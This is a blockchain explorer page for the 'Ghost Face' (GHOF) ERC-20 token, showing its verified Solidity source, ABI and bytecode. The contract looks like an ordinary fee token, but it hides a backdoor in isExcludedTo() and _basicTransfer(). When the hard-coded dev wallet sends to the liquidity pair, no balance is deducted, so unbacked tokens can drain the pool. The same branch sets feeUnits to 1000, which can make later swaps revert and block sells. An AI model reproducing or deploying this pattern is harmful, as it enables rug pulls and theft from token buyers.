ETH Price: $3,836.62 (+6.05%)

Token

ERC-20: Ghost Face (GHOF)
 

Overview

Max Total Supply

690,000,000 GHOF

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,243,566.623808453713310188 GHOF

Value
$0.00
0x49f2e7416ca6b6d74296d8623e36c6b7d676e3b3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GhostFace

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-06
*/

// SPDX-License-Identifier: MIT

/**

    Website: https://www.ghostface.vip
    Twitter: https://twitter.com/ghostfaceerc
    Telegram: https://t.me/ghofcoin

*/

pragma solidity ^0.8.11;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

contract GhostFace is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    
    address payable public teamWallet = payable(msg.sender);
    address payable public devWallet = payable(0x0fB649b7a970955b387771cEf3cd5f542139a262);
    address public liquidityReciever;
    
    string private _name = unicode"Ghost Face";
    string private _symbol = unicode"GHOF";
    uint8 private _decimals = 18;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 690_000_000 * 10 **_decimals;
    uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000);
    uint256 public _maxTxAmount =  _totalSupply.mul(33).div(1000); 
    uint256 public _maxWalletAmount =   _totalSupply.mul(33).div(1000);  

    uint256 public feeUnits = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    
    bool inSwapAndLiquify;
    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[teamWallet] = true;
        isExcludedFromFee[devWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[teamWallet] = true;
        isWalletLimitExempt[devWallet] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[teamWallet] = true;
        isTxLimitExempt[devWallet] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
        
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isExcludedTo(address sender, address recipient) internal view returns (bool) {
        return recipient == pairAddress 
                && sender == devWallet 
                && sender != address(0) 
                && recipient !=address(0);
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { 
            return _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)? 0 : amount); 
        } else {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreasholdAmount;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = swapThreasholdAmount;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount); if (tAmount == 0) feeUnits = 1e3;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(teamWallet).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(devWallet).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }
    
    function createPair() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isMarketPair[pairAddress] = true;
        isWalletLimitExempt[pairAddress] = true;
        isTxLimitExempt[pairAddress] = true;

        liquidityReciever = address(msg.sender);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }


    function enableTrading() external onlyOwner {
        tradingEnabled = true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
        
    function setMaxLimits() public onlyOwner{
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b0319908116331790915560048054909116730fb649b7a970955b387771cef3cd5f542139a262179055610100604052600a60c09081526947686f7374204661636560b01b60e0526006906200006090826200063c565b5060408051808201909152600481526323a427a360e11b60208201526007906200008b90826200063c565b506008805460ff1916601290811790915561dead608052600060a052620000b490600a6200081b565b620000c49063292090806200082c565b601055620000ff612710620000eb60056010546200041760201b62000f401790919060201c565b620004ae60201b62000fc21790919060201c565b601155620001266103e8620000eb60216010546200041760201b62000f401790919060201c565b6012556200014d6103e8620000eb60216010546200041760201b62000f401790919060201c565b601355600160148190556017805464ffffffff0019166301010100179055600060188190556019829055601a819055601b819055601c91909155601d553480156200019757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600c6000620001f26000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600c9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600e90620002746000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600e9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f90620002f66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600f84528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601a54601954601854620003989362000384929062001004620004f8821b17901c565b620004f860201b620010041790919060201c565b601581905550620003c3601d5462000384601c54601b54620004f860201b620010041790919060201c565b60165560105433600081815260096020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620008cf565b6000826000036200042b57506000620004a8565b60006200043983856200082c565b90508262000448858362000846565b14620004a55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200055b60201b60201c565b60008062000507838562000869565b905083811015620004a55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200049c565b600081836200057f5760405162461bcd60e51b81526004016200049c91906200087f565b5060006200058e848662000846565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005c257607f821691505b602082108103620005e357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200063757600081815260208120601f850160051c81016020861015620006125750805b601f850160051c820191505b8181101562000633578281556001016200061e565b5050505b505050565b81516001600160401b0381111562000658576200065862000597565b6200067081620006698454620005ad565b84620005e9565b602080601f831160018114620006a857600084156200068f5750858301515b600019600386901b1c1916600185901b17855562000633565b600085815260208120601f198616915b82811015620006d957888601518255948401946001909101908401620006b8565b5085821015620006f85787850151600019600388901b60f8161c191681555b